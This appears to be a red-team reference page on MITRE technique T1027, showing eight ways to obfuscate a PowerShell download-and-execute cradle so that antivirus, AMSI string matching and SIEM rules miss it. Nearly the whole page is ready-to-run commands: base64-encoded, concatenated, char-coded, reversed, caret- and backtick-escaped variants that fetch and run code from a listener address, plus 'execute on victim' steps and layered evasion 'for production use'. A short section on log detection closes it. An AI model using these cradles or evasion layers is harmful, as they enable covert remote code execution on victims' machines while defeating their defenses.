T1027: Obfuscation
Covers: T1027 - Obfuscated Files or Information, T1027.010 - Command Obfuscation
Technique Requirementsβ
| Privileges Required | User (all methods are pure PowerShell / cmd.exe - no elevated rights needed) |
| Effective Permissions | Context of the invoking user |
| Employment Complexity | 2/5 - Low |
| Detection Complexity | 3/5 - Medium (signature evasion is high; behavioral detection by mature EDR is unaffected) |
Backgroundβ
Obfuscation modifies the text representation of a command or script without changing what it does. The goal is to defeat signature-based detection - AMSI string matching, AV pattern scanning, and SIEM alert rules that match on specific strings like IEX, DownloadString, mshta, or WebClient.
Critical limitation: Obfuscation evades static detection. A mature EDR that performs behavioral analysis (watches what the process does rather than what it says) will detect the technique regardless of how the command is spelled. Obfuscation is most valuable against:
- Antivirus products with static signature databases
- SIEM rules that alert on specific command-line strings
- Proxy/DLP appliances that inspect URL parameters or POST bodies
- AppLocker script rules that match on content
It provides no additional protection against:
- EDR behavioral rules (process lineage, network connections, memory injection)
- Script block logging (EventID 4104) - PowerShell deobfuscates before logging
- AMSI hooks in the PS runtime (the deobfuscated command is what AMSI scans)
All methods here are pure PowerShell or cmd.exe - no external tools needed.
The Canonical Cradle (Baseline)β
All examples in this document obfuscate variants of the standard Metasploit web_delivery PowerShell cradle. The cleartext baseline is:
IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')
The tokens most likely to trigger signatures are:
IEX/Invoke-ExpressionDownloadStringNet.WebClientNew-Object- The listener URL/IP
Method 1: -EncodedCommand (Base64)β
Most portable, least creative. PowerShell's -EncodedCommand (-enc) flag accepts a base64-encoded UTF-16LE string and executes it directly. No IEX in the command line, no visible cradle.
Encode the cradle on Kaliβ
CRADLE="IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')"
echo -n "$CRADLE" | iconv -t UTF-16LE | base64 -w 0
Output (example): SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADUAMAA6ADgANAA0ADMALwBBAGIAYwBYAHkAegAnACkA
Execute on victimβ
powershell -nop -w 1 -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAuADUAMAA6ADgANAA0ADMALwBBAGIAYwBYAHkAegAnACkA
The command line contains no recognizable strings - IEX, DownloadString, and the URL are all encoded.
-EncodedCommand is itself a well-known indicator. SIEM rules often flag powershell -enc or powershell -e with a long base64 string. It evades content-based string matching but not powershell -enc pattern rules. Layer with Method 5 (caret escaping) if the -enc flag itself is flagged.
Method 2: String Concatenation and Splittingβ
Break up flagged tokens by concatenating substrings. PowerShell evaluates string expressions, so "IE"+"X" is the string "IEX" at runtime.
Concatenation examplesβ
# Split IEX
& ("IE"+"X") (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')
# Split New-Object
& ("IEX") (& ("New-Ob"+"ject") Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')
# Split DownloadString
$wc = New-Object Net.WebClient
$url = 'https://192.168.1.50:8443/AbcXyz'
IEX $wc.("Down"+"load"+"String")($url)
# Split the type name
IEX (New-Object ("Net.Web"+"Client")).DownloadString('https://192.168.1.50:8443/AbcXyz')
Variable-based splittingβ
$a = "IEX"
$b = " (New-Object Net.WebClient).DownloadString"
$c = "('https://192.168.1.50:8443/AbcXyz')"
Invoke-Expression ($a + $b + $c)
Method 3: [char] Array Constructionβ
Build strings character-by-character using ASCII codes. No recognizable token appears in the source.
Build "IEX" from character codesβ
# IEX = [char]73 + [char]69 + [char]88
$iex = [char]73+[char]69+[char]88
& $iex (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')
Build the entire cradle from char codes (Kali helper)β
# Generate [char]XX+[char]XX... representation of any string on Kali:
python3 -c "
s = \"IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')\"
print('+'.join(f'[char]{ord(c)}' for c in s))
"
Paste the output directly into PowerShell:
# The output of the above (abbreviated):
IEX ([char]73+[char]69+[char]88+[char]32+[char]40+ ...)
Full char-code construction produces very long command lines and is easy for humans to spot in logs - but it defeats simple substring matching. Combine with -EncodedCommand for a shorter representation if command-line length is a concern.
Method 4: String Reversalβ
Reverse a flagged token, then reverse it back at runtime using PS array slicing.
# 'xei' reversed is 'iex' reversed is 'IEX'
$rev = 'xeI'
$iex = $rev[-1..-3] -join '' # result: 'IeX' - PS is case-insensitive
# Or: reverse 'gnirtSdaolnwoD' to get 'DownloadString'
$dl = 'gnirtSdaolnwoD'[-1..-14] -join ''
$wc = New-Object Net.WebClient
& ($rev[-1..-3] -join '') $wc.$dl('https://192.168.1.50:8443/AbcXyz')
Combine with variable replacementβ
$cmd = 'gnirtSdaolnwoD-tneildbeW.teN tcejbO-weN( XEI'[-1..-51] -join ''
Invoke-Expression $cmd
Method 5: cmd.exe Caret (^) Escapingβ
The ^ character in cmd.exe is an escape character that is stripped before the command is passed to the shell. It breaks up flagged strings at the cmd.exe layer while leaving the actual executed command intact.
# powershell.exe becomes p^o^w^e^r^s^h^e^l^l^.^e^x^e
p^o^w^e^r^s^h^e^l^l -nop -w 1 -c "IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')"
# Break up the entire command at cmd.exe level
cmd /c "p^ow^er^sh^el^l -nop -w 1 -c IE^X ^(Ne^w-Ob^ject Ne^t.W^ebC^lie^nt^).Do^wnl^oadS^tri^ng^('https://192.168.1.50:8443/AbcXyz')"
Why this works: SIEM and AV string matching operates on the raw command line string before cmd.exe processes it. The caret characters are invisible to PowerShell because cmd.exe strips them before spawning the child process.
Limitation: Only works when the command is launched via cmd.exe. Direct PowerShell invocations are unaffected.
Method 6: PowerShell Backtick (`) Escapingβ
PowerShell's backtick character is its escape character. Inside a string or command, `i is the same as i (for most characters) - it breaks up token strings while producing identical output.
# IEX β `I`E`X
`I`E`X (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')
# New-Object β N`ew-O`bject
IEX (N`ew-O`bject Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')
# DownloadString β D`ownlo`adStr`ing
IEX (New-Object Net.WebClient).D`ownlo`adStr`ing('https://192.168.1.50:8443/AbcXyz')
# All three combined:
`I`E`X (N`ew-`Ob`jec`t N`et`.`We`bC`li`en`t).D`own`loa`dS`tr`ing('https://192.168.1.50:8443/AbcXyz')
Script block logging (EventID 4104) logs the deobfuscated form after PowerShell parses backticks. This method evades command-line string matching but not script block logging.
Method 7: Alternate Invocation (No IEX / Invoke-Expression)β
Replace IEX with alternate invocation forms that are less commonly flagged.
[ScriptBlock]::Create() + .Invoke()β
[ScriptBlock]::Create("(New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')").Invoke()
$ExecutionContext.InvokeCommand.InvokeScript()β
$ExecutionContext.InvokeCommand.InvokeScript("(New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')")
.Invoke() on a scriptblock literalβ
& {(New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')}
Invoke-Command with a scriptblockβ
Invoke-Command -ScriptBlock {(New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')}
Method 8: Environment Variable and Path Substitutionβ
Abuse environment variables to avoid typing flagged binary names directly in the command line.
# %ComSpec% = C:\Windows\system32\cmd.exe
%ComSpec% /c powershell -nop -w 1 -c "IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')"
# %SystemRoot% = C:\Windows
%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w 1 -enc <B64>
# Build powershell path from env vars in PS
$ps = "$env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe"
& $ps -nop -w 1 -enc <B64>
In PowerShell, drive and path variables work for bypassing product-specific binary name matching:
# HKLM path rewrite - looks up PS from registry instead of hardcoding path
$ps = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell").Path
& $ps -nop -w 1 -enc <B64>
Layering: Combining Methodsβ
The highest-confidence evasion comes from stacking multiple obfuscation layers. A practical two-layer approach for production use:
Layer 1: Encode the payload with -EncodedCommand (hides content)
Layer 2: Break up the powershell -enc invocation with caret escaping (hides the -enc flag itself)
# On Kali - generate encoded command:
CRADLE="IEX (New-Object Net.WebClient).DownloadString('https://192.168.1.50:8443/AbcXyz')"
B64=$(echo -n "$CRADLE" | iconv -t UTF-16LE | base64 -w 0)
echo "p^ow^er^sh^el^l -nop -w 1 -en^c $B64"
Execute on victim via cmd.exe:
cmd /c "p^ow^er^sh^el^l -nop -w 1 -en^c SQBFAFgA..."
Three-layer example (encode β tick escape the encoder flag β caret escape the whole thing):
cmd /c "p^ow^er^she^ll -n`op -w`indowStyle 1 -en^c SQBFAFgA..."
Quick Reference: What Each Method Defeatsβ
| Method | Defeats | Does NOT defeat |
|---|---|---|
-EncodedCommand | Content string matching on cradle tokens | -enc pattern rules, script block logging, AMSI |
| String concatenation | Static substring matching | Script block logging, AMSI hooks |
[char] construction | Literal string matching | Script block logging, AMSI hooks |
| String reversal | Literal string matching | Script block logging, AMSI hooks |
cmd.exe caret ^ | Raw cmdline string matching at SIEM layer | PS script block logging, process behavior EDR |
Backtick ` | Cmdline string matching at SIEM layer | PS script block logging (deobfuscated before log) |
| Alternate IEX | IEX/Invoke-Expression signature rules | Behavioral detection of script execution |
| Env var substitution | Binary name exact-match rules | Path-based process rules, behavior EDR |
Log Detectionβ
- Source:
Microsoft-Windows-PowerShell/Operational- EventID:
4104(Script Block Logging)- PowerShell logs the deobfuscated script block after parsing - all obfuscation methods above are defeated by script block logging. The deobfuscated cradle appears in plaintext. If this event source is enabled on the target, obfuscation provides minimal benefit.
- EventID:
- Source:
Microsoft-Windows-Sysmon/Operational- EventID:
1(ProcessCreate)powershell.exewith-encand a long base64 string (Method 1)powershell.exelaunched bycmd.exewith caret-heavy command line (Method 5)- Unusual parent processes for
powershell.exe(any signed binary proxy)
- EventID:
- Source:
Security- EventID:
4688(Process creation with command line auditing)- Same patterns -
-encflag, heavily escaped command lines
- Same patterns -
- EventID: